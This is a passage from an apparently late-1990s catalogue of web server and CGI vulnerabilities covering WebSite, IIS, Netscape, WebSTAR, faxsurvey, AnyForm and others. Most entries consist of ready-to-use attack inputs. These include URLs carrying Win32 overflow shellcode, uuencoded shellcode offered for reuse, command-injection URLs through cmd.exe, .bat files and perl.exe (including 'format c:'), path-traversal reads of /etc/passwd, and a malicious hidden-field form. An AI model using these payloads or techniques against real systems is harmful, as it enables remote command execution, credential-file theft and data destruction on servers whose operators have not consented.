access. If the httpd is run in a chroot() environment, the
attacker will be restricted to the chrooted environment.
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.0 200 OK
Date: Tue, 07 Jan 1997 18:59:31 GMT
Server: Apache/1.1.1
Content-type: text/html
Set-Cookie: Apache=localhost9185266357164; path=/
The important lines to look at are the Server: lines, and the
Set-Cookie: lines.
Buffer overflow in mod_cookie.c
Name: O'Reilly WebSite for Windows NT and 95
Risk: any client can run arbitrary commands under the server UID.
Author: solar@ideal.ru (Solar Designer)
O'Reilly Website UPLOADER.EXE Vulnerable
WEBSITE 2.0 beta, WebSite 1.1g and less
Website ships with a program called UPLOADER.EXE that allows
compatible Web clients to upload files to the Web server. Using UPLOADER.EXE
with a modified HTML page allows an intruder to upload an file the
wish, including malicious programs for execution on the Web server.
<FORM ENCTYPE="multipart/form-data" METHOD=POST
ACTION="/cgi-win/uploader.exe/Uploads/">
<PRE>Your name: <INPUT TYPE=TEXT SIZE=20 NAME="name"> (required)
Email address: <INPUT TYPE=TEXT SIZE=20 NAME="email"> (required)
<b>NOTE:</b>
File to upload: <INPUT TYPE=FILE NAME="upl-file" SIZE=40>
File description: <INPUT TYPE=TEXT SIZE=40 NAME="desc"> (required)
<INPUT TYPE=SUBMIT VALUE="Upload Now"></PRE>
</FORM>
"The program uploader.exe doesn't check anything at all. If you're
lucky, you're running Windows NT and have put only "read/execute access"
on CGI-WIN and other executable paths. Otherwise (win95) you have
a real problem You could create a CGI program, next you change the
HTML file a little like this.
<FORM ENCTYPE="multipart/form-data" METHOD=POST
ACTION="http://host.of.vulnerable.website/cgi-win/uploader.exe/cgi-win/">
<INPUT TYPE=HIDDEN NAME="name" VALUE="Foo">
<INPUT TYPE=HIDDEN NAME="email" VALUE="Foo@bar.com>
File to upload: <INPUT TYPE=FILE NAME="upl-file" SIZE=40><BR>
<INPUT TYPE=TEXT SIZE=40 NAME="desc" VALUE="YouGottaSecurityProblem">
<INPUT TYPE=SUBMIT VALUE="Upload Now">
</FORM>
Open the HTML file in your browser, select a nice CGI file to upload
and run that CGI program remotely. (No need to tell you what this
CGI program could do, could be .bat file too in one of
Website's other CGI directories)"
Website v1.1e
The first thing that I noticed is about the scripts, they have the
following lines in cgi-dos/args.cmd (and some others):
rem NEVER NEVER ECHO URL COMPONENTS UNQUOTED!!! Consider
rem a query string of xxx&del+/s+c:\*.* Your hard drive gets
rem erased!! Same goes for args and extra path info!!!
and then some lines like this:
echo QUERY_STRING="%QUERY_STRING%"
Obviously, just using the quotes is not enough. Why can't I close
them, or use a linefeed? The exploit can be:
http://website.host/cgi-dos/args.cmd?"&any+dos+command"
http://website.host/cgi-dos/args.bat?"&any+dos+command"
There's also an example C program, compiled to cgi-shl/win-c-sample.exe,
with the source provided in cgi-src/win-c-sample/win-c-sample.c,
and the following line in there:
char *argv[32]; // Max 32 command line args
That's a WinMain local variable, and is passed to SplitArgs(),which
does no bounds checking while filling it with the command line parameters.
You know what that means -- a nice buffer overflow.
Here are the exploits (I split the long URLs into several lines),
you can use any dos command in them (replace spaces with _'s):
-- WinNT (any version?):
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0h0%10%F0wYhM\y[X%050PzPA9%01u%F0%83%E9%10%
FF%D1h0%10%F0wYh%D0PvLX%0500vPA9%01u%F0%83%E9%1C%FF%D1cmd.exe_/c_copy
_\WebSite\readme.1st_\WebSite\htdocs\x1.htm
-- Win95 (the release version only, will crash others!):
http://website.host/cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A
%06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%0
3%CA%FF%D1c:\command.com_/c_copy_\WebSite\readme.1st_\WebSite\htdocs\
x1.htm
The example dos commands just copy the WebSite's readme.1st file,
so you can later check if the exploit worked by trying
http://website.host/x1.htm.
Note that the server should respond to these exploits with an "Error:
no blank line separating header and data", because of the "1 file(s)
copied" message appearing without a blank line before it (which is
required for HTTP; if you need a command's output, you can redirect
it to a file, and get that file via HTTP with a separate request).
Finally, to the thing I'm writing this message for -- I mean the
Win32 shellcode. I haven't seen any Win32 overflow exploits before
(actually, didn't look for them), so I had to code my own shellcode.
This seems not to be that simple as it would be for Win16, or as it
is for most UNIX systems. The problem is that normally Windows kernel
calls require extra relocation items, but the shellcode appears in
an already loaded program.
The solution I used in the exploits above is doing a call to fixed
kernel offset. Actually, the WinNT exploit does pattern searches
in the kernel (due to the number of different kernel versions out
there), while the Win95 one uses fixed offsets. The two functions
I use are WinExec and ExitProcess.
Here're the two shellcodes in binary, uuencoded, so you can use
them in your own exploits if you wish.
begin 644 shell_nt.bin
M:%Y8_^;_U(/&3&H!5HH&/%]U`X`N/T9!283`=?!H,!#P=UEH35QY6U@%,%!Z
F4$$Y`77P@^D0_]%H,!#P=UEHT%!V3%@%,#!V4$$Y`77P@^D<_]'[
`
end
begin 644 shell_95.bin
M:%Y8_^;_U(/&,FH!5HH&/%]U`X`N/T9!283`=?"Z=&]\7[ET8'U@`\K_T;I8
,7WQ?N5A0?&`#RO_1
`
end
Note that I had to avoid using some codes (which the server didn't
allow me to use), that's why I do things like:
db 68h ; push imm32
pop esi ; \
pop eax ; | - the value being pushed
jmp esi ; /
call esp
instead of:
call $+5 ; would contain zeroes
pop esi
Website 1.1b or less
suffers from the same problems as Netscape does with DOS .bat files
Version 1.1c fixes this problem.
Name: 4 old IIS bugs on Windows NT
Risk: any client can view files on HDD and run arbitrary cmds.
Versions: IIS 1.x, 2.0b
the Netscape Communications Server version 1.12 and the
Netscape Commerce Server version 1.0)
Website 1.1b or less
"DOUBLE DOT"
Bug allows intruder to access any file on the same partition where
your wwwroot directory is located (assuming that IIS_user has permission
to read this file). It also allows intruder to execute any executable
file on the same partition where your scripts directory is located
(assuming that IIS_user has permission to execute this file). If
cmd.exe file can be executed than it also allows intruder to execute
any command and read any file on any partition (assuming that IIS_user
has permission to read or execute this file).
http://[domain_name]/..\..\..\..\[PATH]\filename
allows intruder to download any file on the same partition where
the wwwroot directory is located.
http://[domain_name]/scripts/../../../../[PATH]/filename
or
http://[domain_name]/scripts/..\..\..\..\[PATH]\filename
allow intruder to execute any executable file on the same partition
where your scripts are located.
"TRUNCATE" Bug
allows intruder to create new or to truncate existing files on any
partition under the following conditions:
BAT and (or) CMD files are mapped by IIS to the cmd.exe file
IIS_USER has a right to create a file in case of a new file creation
IIS_USER has a right to delete a file in case of a file modification
http://[domain_name]/scripts/abracadabra.bat>FULL_PATH\filename.bat
will create a new file at the FULL_PATH drive:\directory location
if the file FULL_PATH\filename.bat does not exist. If the file
exists and IIS_USER has permission to delete this file, the file
will be truncated.
http://[domain_name]/scripts/abracadabra.bat>FULL_PATH\filename%0A%0Dblabla.bat
will create a new file at the FULL_PATH drive:\directory location
if the file FULL_PATH\filename does not exist. If the file exist
s and IIS_USER has permission to delete this file, the file will
be truncated.
File blabla.bat does not need to exist in the scripts directory."REDIRECT" Bug
will redirect output from any CGI script to the file under the following
conditions:
BAT and (or) CMD files are mapped to the cmd.exe file by IIS
IIS_USER has a right to create a file in case of a new file creation
IIS_USER has a right to delete a file in case of a file modification
http://[domain_name]/scripts/script_nameFULL_PATH\filename%0A%0Dblabla.bat
or
http://[domain_name]/scripts/script_name>FULL_PATH\filename%0A%0Dblabla.bat
will redirect (or append) output from the existing script_name to
the filename file at the FULL_PATH (drive:\directory) location.
Netscape Communication and Netscape Commerce servers have similar
bugs. Similar things can be done with the Netscape Server when using
the BAT/CMD files as a CGI scripts.
http://[domain_name]/scripts/script.bat?>FULL_PATH\filename
or
http://[domain_name]/scripts/script.bat?>>FULL_PATH\filename
will redirect (or append) output from the existing script_name to
the filename file at the FULL_PATH (drive:\directory) location The
bug is probably more dangerous in this case because the Netscape
Server runs by default under local system account. Intruder can
also use a "|" symbol under the Netscape server to transfer output
from an existing BAT to every executable in any partition.
"CMD.EXE" Bug
is specific to the cmd.exe shell program. Once accessed (for example
by exploiting Double Dot bug) cmd.exe can be used to execute any
internal command or any command in any partition, it can be used
to create a new "custom made" file even if the mapping to the BAT/CMD
files is disabled.
http://[domain_name]/scripts/../../cmd.exe/?%2FC+any_command
or
http://[domain_name]/scripts/../../cmd.exe/?%2FC+any_command>FULL_PATH\filename
or
http://[domain_name]/scripts/../../cmd.exe/?%2FC+any_command>>FULL_PATH\filename
will execute any internal command and redirect or append the output
from the command to a file.
http://[domain_name]/scripts/../../cmd.exe/?%2FC+echo+"hello,+World">c:\temp\hello.bat
will create a file c:\temp\hello.bat containing the phrase "hello,
World". This allows a malicious user to create simple but dangerous
files. For example these files can be used as scripts for ftp.exe
command.
BAT/CMD in IIS 1.0 Windows NT 3.5
Let's consider fresh IIS Web server installation where all settings
are default:
1) CGI directory is /scripts
2) There are no files abracadabra.bat or abracadabra.cmd in the /scripts directory.
3) IIS Web server maps .bat and .cmd extensions to cmd.exe. Therefore registry key
HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ScriptMap
has the following string:
.bat or .cmd=C:\WINNT35\System32\cmd.exe /c %s %s
In this case a hacker with a malicious intent can send either one
of the two command lines to the server:
a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time
and the following happens:
1) Browser asks how you want to save a document. Notepad.exe or
any other viewer would do for this "type" of application.
2) Browser starts the download session. The download window appears
on the screen.
3) The hacker clicks the "cancel" button on the download window,
because the "time" command on the server never terminates.
4) Nothing is logged on the server side by the IIS Web server,
because the execution process was not successfully terminated!!!
(Thanks to the "time" command.) The only way to see that something
happened is to review all your NT security logs. But they do not
contain information like REMOTE_IP.
Name: iCat Carbo Server hole
Date: 8 November 1997
Risk: any client can view files on HDD.
Versions: iCat Carbo Server (ISAPI, Release) Version 3.0.0, Win32
iCat Carbo Server is a program used to create interactive shopping
catalogs for the www. It was selected by PC Magazine's editors as
the best Web storefront creation software.
I've found a bug in the iCat Carbo Server Version 3.0.0. The bug
let's everyone view any file at a system that is using Carbo (except
for files with some special characters).
http://host/carbo.dll?icatcommand=file_to_view&catalogname=catalog
http answer:
[iCat Carbo Server (ISAPI, Release) Version 3.0.0 Release Build 244]
Error: (-1007) cannot open file 'C:\web\carbohome\file_to_view.htm'
To view their c:\winnt\win.ini:
http://host/carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog
Name: perl.exe in CGI bin Directories
Date: May 29, 1996
Risk: any client can run arbitrary commands under the server UID.
OS: mostly Windows
Many sites that maintain a Web server support CGI programs. Often
these programs are scripts that are run by general-purpose interpreters,
such as /bin/sh or PERL If the interpreters are located in the CGI
bin directory along with the associated scripts, intruders can access
the interpreters directly and arrange to execute arbitrary commands
on the Web server system This problem has been widely discussed in
several forums. Unfortunately, some sites have not corrected it.
The CERT Coordination Center recommends that you never put interpreters
in a Web server's CGI bin directory.
Early documentation for Netscape and other servers recommended
placing the interpreters in the CGI bin directory to ensure that
they were available to run the script.
http://home.netscape.com/assist/support/server/tn/windows-nt/20202.html
you can find the following terrifying advice:
The syntax for calling a Perl CGI script from one of your pages on a
Windows NT web server is different from the syntax used on Unix. You
need to put a copy of PERL.EXE into your cgi-bin directory, and use
this kind of anchor to it:
<A HREF="/cgi-bin/perl.exe?foo.pl">...</A>
In other words, you call PERL.EXE with "foo.pl" as its argument.
In other way anyone else is quite able to do a GET on something like
http://myhost.com/cgi-bin/perl.exe?-e?'format?c:'
http://host.com/cgi-bin/perl.exe?-e?'format%20c:'
http://www.target.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E
Background info on the problem,plus solutions.
latro.pl probe web for insecure perl installations
Name: WebStar vulnerability
Versions: WebSTAR for the Mac
Risk: any client can see httpd config
Try adding
/M_A_C_H_T_T_P_V_E_R_S_I_O_N
to any URL on a WebSTAR server and it will give you info like this:
WebSTAR, Copyright =A91995 Chuck Shotton,
Portions =A91995 StarNine Technologies, Inc. and its Licensors. All
rights reserved.
PowerPC (CW) version
totalCon 343, maxCon 30, listening 29, current 1, high 8, busy 0,
denied 0, timeout 0, maxMem 1140640, currMem 1117024, minMem 1090208,
bytesSent 1218888, port 80, maxTimeout 300,
verboseMessages false, disableLogging false, hideWindow false,
refuseConnections false, upSince
07/11/96:10:48, version 1.2.5(PowerPC (CW))
The latest version should have this fixed. While it doesn't seem
very interesting, the connection to get this is not logged, which
allows psychotics to use it as a denial-of-service attack.
There is a gaping hole in WebSTAR's handling of log files. If you
install WebSTAR using the default configuration, the server's log
file will be located within the document tree. Anyone on the Internet
can download the entire server log and review all remote accesses
to the server simply by requesting the URL
http://your.site/WebSTAR%20LOG
As far as the security of the WebSTAR server itself goes, there is
reason to think that WebSTAR is more secure than its Unix and Windows
counterparts. Because the Macintosh does not have a command shell,
and because it does not allow remote logins, it is reasonable to
expect that the Mac is inherently more secure than the other platforms.
Although one cannot easily "break in" to a Macintosh host in the conventional
way, potential security holes do exist:
1.Exploiting holes in the server to read files outside the official
document tree.
2.Finding a way to crash the server.
3.Exploiting holes in CGI scripts to execute AppleScript commands.
Details on the successful break-in, along with links to patched
server extensions, can be found at http://hacke.infinit.se/
Name: Lasso CGI
Versions: Lasso CGI on Mac OS
Distro: http://www.blueworld.com/
Risk: possible for any file on any Macintosh web server supporting
CGIs to be accessed regardless of security restrictions
It should be noted that this problem with Lasso will affect any
web server application that has the capability of running this
specific CGI, regardless of server vendor.
Name: Quid Pro Quo
Versions: Quid Pro Quo on Mac OS
Risk: possible for any file on any Macintosh web server supporting
CGIs to be accessed regardless of security restrictions
The Quid Pro Quo server saves its default log file inside the document
root, at URL http://site.name/server%20logfile. A knowledgeable remote
user can find out every access that anyone's made to your server!
Name: /cgi-bin/nph-publish
Versions: nph-publish versions 1.0-1.1
Risk: Under certain circumstances, remote users can clobber
world-writable files on the server.
Distro: www.genome.wi.mit.edu/~lstein/server_publish/nph-publish.txt
To my eternal chagrin, one of the buggy CGI script to be discovered
is in nph-publish, a script that I wrote myself to allow HTML documents
to be "published" to the Apache web server from a publish-savvy
editor such as Netscape Navigator Gold. I didn't check user-provided
pathnames correctly, potentially allowing the script to write files
into places where they aren't allowed If the server is run with too
many privileges, this can cause big problems.
HTTP/1.0 400
Request method must be PUT to call this script!
PUT /../index.html HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/3.01Gold (Win95; I)
Host: 127.0.0.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-Length: 666
... here is index.html goes
Name: Netscape Communications Server for NT
Date: January 8, 1998
Versions: Netscape Enterprise Server 3.0 and FastTrack 3.01
Risk: Back Door Access to Protected Files
contain a bug that allows unauthorized remote users to fetch documents
that are protected by IP address and password. This bug affects any
file that does not use the standard DOS 8.3 naming convention. For
example, if the document is named somelongfile.htm, then the unscrupulous
user can ask for the file SOMEF~1.HTM, which is the mangled DOS equivalent
of the file name. Even though the document may be password protected,
this fetch will succeed.
The same bug is present in the Microsoft IIS server. Recent versions
of WebSite Professional are reportedly free of the problem
Name: CGIc Library
Version: Thomas Boutell's CGIc library (version 1.05)
Distro: http://www.boutell.com/cgic/
Risk: vulnerable to a buffer overflow attack
can be attacked using a buffer overflow in the cgiFormEntryString()
function.
The fault is due to the function cgiFormEntryString() checking whether
'len = avail' before examining each input character, but not when
the character is different than CR or LF. In this case 'len'is not
checked after outputting the LFs but before outputting the character.
(i.e. It checks that there is 1 byte free in the buffer, but then
it can place 2 bytes in the buffer before checking again.)
As an example, the cgictest program can be caused to segmentation
fault by using the following request as its parameters:
$ REQUEST_METHOD=GET
QUERY_STRING='address=<240 x letter 'A'>%0A<1000 x letter 'A'>' ./cgictest
The result would be:
Content-type: text/html
<HTML><HEAD>
<TITLE>cgic test</TITLE></HEAD>
<BODY><H1>cgic test</H1>
Name: <BR>
Address: <RE>
<lots of letter A's>
Segmentation fault (core dumped)
Name: faxsurvey cgi-script
Date: 4 Aug 1998
Versions: All S.u.S.E. 5.1 and 5.2 Linux Dist (also older ones) with
the HylaFAX package installed.
Risk: execute remote commands under httpd id
All the attacker has to do is type
http://linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
in his favorite Web-Browser to get a copy of your Password-File.
The problem is the quotation marks for the 'eval' command.
Will they ever learn?
-eval `$ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'`
Patch:
+eval "ECHO "$QUERY_STRING" | $UNQUOTE -qn | $SED 's/PATH=[^;]*;//g'"
Name: ~ character
Versions: Apache and other httpd
Risk: read files out of htdocs dir.
The ~ is used during a "resolve" of a URL by the server as a shorthand
for getting directly to user files. During server setup an admin
can define a UserDir to something like /public_html/ so that ~ replaces
/public_html/ when getting to a user's directory Some Unix servers
that do not have a /public_html/ will attempt to resolve to the home
directory listed in /etc/passwd. I have confirmed this on BSD with
Apache web software, but I am pretty sure other platforms may be
affected. For example, this URL might return some interesting info
http://thegnome.com/~root
If the server wasn't locked down good enough, bingo! Root directory
of the server, and you can get to every public readable file -
http://thegnome.com/~root/etc/passwd
Some admins patch things with a symbolic link on the root of the
file system to the top of the tree, but this still doesn't fix the
second entry above. Only careful checking of the configuration of
your specific web server as an admin will make sure you are okay.
And not just ~root, but every user on the system, including putting
a ~ in from of bin, daemon, uucp, etc. could compromise a system.
The account does not have to have a valid shell or password, just
a home directory of / will usually do quite nicely.
Name: thttpd vulnerability
Distro: http://www.acme.com/software/thttpd/
Risk: any client can read files on HDD
Marc Slemko discovered a fairly serious security problem in
thttpd. If you're not running chrooted, an attacker can use this
bug to read files outside of your document tree, for instance
/etc/passwd. The exploit is obvious from the fix.
Name: "AnyForm" CGI
Date: 1 Aug 1995
Versions: all versions ( v1.0)
Distro: http://www.uky.edu/~johnr/AnyForm2/
Risk: any client can run arbitrary commands under the server UID.
"AnyForm" passes form data to a system call without performing
sanity checks. To exploit, create a form with a hidden field
something like this:
<input type="hidden" name="AnyFormTo" value="foo@bar.com;cmd-to
execute with whatever arguments;/usr/lib/sendmail -t foo@bar.com">
Then submit the form to the "AnyForm" CGI on the server to
be attacked. The value of this parameter is passed to this code:
SystemCommand="/usr/lib/sendmail -t " + AnyForm + " <" + FileName;
system(SystemCommand);
Since system invokes a shell,the semicolons are treated as command
delimeters and anything can be inserted.
Name: Unix cgi-bin read supported
Risk: read cgi-bin sources
Versions: if admin uses joe/vi/emacs to edit cgi-bin programs
Date: 1998
Author: Simple Nomad The Unofficial WWW Hack FAQ
look for files in /cgi-bin/ with a ~ on the end. If the administrator
was editing change-your-password.pl with a package like emacs in
the /cgi-bin/, there might be a change-your-password.pl~ backup file
that the editor has created. You may be able to find holes in this
code if you can read it, instead of simply guessing.
http://www.company.com/cgi-bin/change-your-password.pl~
also sometimes you can gain .htaccess source via
http://www.company.com/secret/%2ehtaccess